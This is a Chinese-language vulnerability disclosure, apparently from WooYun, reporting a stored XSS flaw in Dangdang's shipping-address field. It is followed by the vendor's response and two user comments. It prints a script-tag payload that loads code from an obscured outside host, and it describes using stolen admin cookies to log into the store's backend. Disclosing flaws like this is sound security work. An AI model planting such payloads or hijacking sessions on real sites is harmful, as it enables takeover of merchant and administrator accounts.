当当网主站重要功能存在严重漏洞导致导致后台失守

这不是一枚没啥影响的xss漏洞。跪求乌云大爷不要在走小厂商流程了.......连着几次到手都是2rank，都是走小厂商流程

然后王尼玛进一步测试，在收货地址里写入测试代码：

<script src=http://我不告诉你.就是不告诉你/*07J9Q></script>

就这么嵌进去了。不过除了自己，还有谁会看到王尼玛的收货地址呢？别的普通用户不可能，那只有商家或者管理员啦~原来是个针对店铺掌柜和管理员的~

抠门的王尼玛默默买了一箱饮料，提交订单。

内心放荡不羁爱自由的王尼玛此时顺带去调戏了一下客服~没多久就受到了一串管理员的cookie.

准备登陆~

成功登陆~

王尼玛此时乐开花，高唱社会主义好~正当王尼玛准备更改别人订单时，门响了起来。

全剧终~梆梆梆~

unix时间戳转换过来，感觉这cookie还是能用挺长一段时间的==、

后台后台~

跪求乌云大爷不要在走小厂商流程了..........

你们更专业~为了测这个xss还不得已买了个东西.......不知道能不能退货啊.....乃们双12有活动嘛，能给点优惠券嘛，我要血战双12啊，双十一啥都没买。

PS：你们某一个技术员在你们网站里加了一段注释，里面的信息有点敏感，麻烦有空删掉吧。

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-11-25 09:45

厂商回复：

感谢对当当安全的支持

最新状态：

暂无

1. 2014-11-25 08:49 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:19 | 么么哒，呵呵哒，么蛤蛤~)

   2

   这是要被忽略的节奏吗

   1# 回复此人

2. 2014-12-15 09:50 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低，根本轮不到去拼...)

   2

   哈，有意思。

   2# 回复此人